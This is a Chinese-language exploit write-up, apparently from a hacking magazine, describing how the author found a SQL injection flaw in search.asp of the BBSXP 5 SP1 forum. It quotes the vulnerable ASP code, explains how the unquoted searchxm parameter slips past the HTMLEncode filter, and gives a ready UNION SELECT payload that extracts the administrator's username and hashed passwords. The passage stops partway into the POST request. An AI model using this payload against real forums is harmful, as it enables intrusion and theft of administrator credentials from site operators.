type="14226"> 作者:hx
新版bbsxp注入
漏洞再现,可直接得到管理员帐户密码
——我找到bbsxp5 sp1
漏洞的过程总结
前期杂志有篇文章是关于BBSXP的,用的是Cookie注入攻击,作者真是思路巧妙,可以想到逻辑
漏洞。当时看了文章后,学校有事情就没读代码。暑假闲着无事,所以就把最新版的BBSXP下载下来读了一遍。BBSXP确实短小精悍,文件有少又短,不过比起DVBBS无论从功能上还是界面上还是有点差别,不过从
漏洞上比还确实无分上下, 经过了3年的测试,还是多少有点瑕疵。
一.
漏洞寻找
论坛对字符串输入用HTMLEncode转换,数字类型的用int函数调整,Isnumeric函数判断。很显然查询中有数字和字符串作为值输入的肯定不能利用了。不能做为值输入可以做为什么输入呢?这就是问题的关键。我把每个文件带着这个思路粗略浏览了一遍,用了很长时间才在search.asp(好象以前就有过
漏洞,改了原来的却有了新的)找到了
漏洞,一起看看代码。
<!-- #include file="setup.asp" -->
<%
top
if Request.Cookies("username")=empty then error("<li>你还未<a href=login.asp>登录</a>社区")
DetectPost
if Request("menu")="ok" then
search=Request("search")
forumid=Request("forumid")
TimeLimit=Request("TimeLimit")
content=HTMLEncode(Request("content"))
searchxm=HTMLEncode(Request("searchxm"))
searchxm2=HTMLEncode(Request("searchxm2"))
searchxm2=replace(searchxm2,"@","&")
if content=empty then content=Request.Cookies("username")
if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and"
if search="author" then
item=""&searchxm&"='"&content&"'"
elseif search="key" then
item=""&searchxm2&" like '%"&content&"%'"
end if
if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&""
sql="select top "&MaxSearch&" * from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimitList&" order by lasttime Desc "
rs.Open sql,Conn,1
……
我们仔细研究一下 sql=”select top “&MaxSearch …这句,其中MaxSearch是定义好的,默认值为500,剩下3处是从外面输入的。
1.if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and"
只要forumid输入为空,那么forumidor就为空.
2.if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&""
TimeLimit是个整数,随便输入(输入个1),那么TimeLimitList变成” and lasttime>now()-1”,在MSSQL中变成” and lasttime>getdate()-1”.
3. if search="author" then
item=""&searchxm&"='"&content&"'"
elseif search="key" then
item=""&searchxm2&" like '%"&content&"%'"
end if
只要search=”author”,content随便输入(输个abcd),那么item= HTMLEncode(searchxm)=’abcd’,只要我们构造好输入,通过上面的语句,就把SQL语句变为:
select top 500 * from forum where deltopic<>1 and [ HTMLEncode(searchxm)] =’abcd’ and lasttime>now()-1 order by lasttime Desc
用中括号括起来的部分前后都没单引号,显然可以利用了。
先看看 HTMLEncode函数
function HTMLEncode(fString)
fString=replace(fString,";",";")
fString=server.htmlencode(fString)
fString=replace(fString,"'","'")
fString=replace(fString,"--","--")
fString=replace(fString,"\","\")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
过滤了”; ‘ -- \ vbcrlf”,还有”< > &”等,其实过滤的也算严密了,程序员也挺难的,过滤多了可能影响使用,少了又会出安全问题。过滤了这么多我们该如何利用呢?大家自然想到了猜测,是一个可行的办法,表的结构也都知道了,也很容易猜的。不过我还是用个简单的办法吧。
二.
漏洞利用
还是用本人很熟悉的union查询,对ACCESS和MSSQL都有效。构造过程本人就不写了,直接给大家看结果。
select top 500 * from forum where deltopic<>1 and
forumid=0 union all select top 1 1,1,[user].username as topic,forum.use
rname,content,forum.posttime,forum.postip,1,1,1,1,1,1,1,[user].userpass as lastname,lasttime,polltopic,clubconfig.adminpassword as pollresult,1 from [user],forum,clubconfig where [user].membercode=5 or forum.id=0 or clubconfig.adminpassword
=’abcd’ and lasttime>now()-1 order by lasttime Desc
其中有颜色部分是我们要输入的searchxm的值,中间的每个字符HTMLEncode函数都没有过滤到。至于这个语句的含义,就是让union 前面的语句为假,因为forumid不可能为0,union后面只查询出一条记录,其中包含了管理员的用户名和加密密码,还有社区管理的加密密码,懂SQL语句的朋友一看就明白了。其中数字1没有意义,只是为了匹配字段的类型,保证union前后字段数目和类型一致就行了。这里可以任意构造,有兴趣的朋友可以构造自己的查询,我给出的只是一个参考。
构造好了输入语句,还要构造提交。这时就要想到WSE这个经典之作,如果有人认为对HTTP协议已经熟的可以自己写提交字符串,我也应该劝他省省体力和脑力。
[图1]
[图2]
构造的提交如下:
POST /bbsxp/sea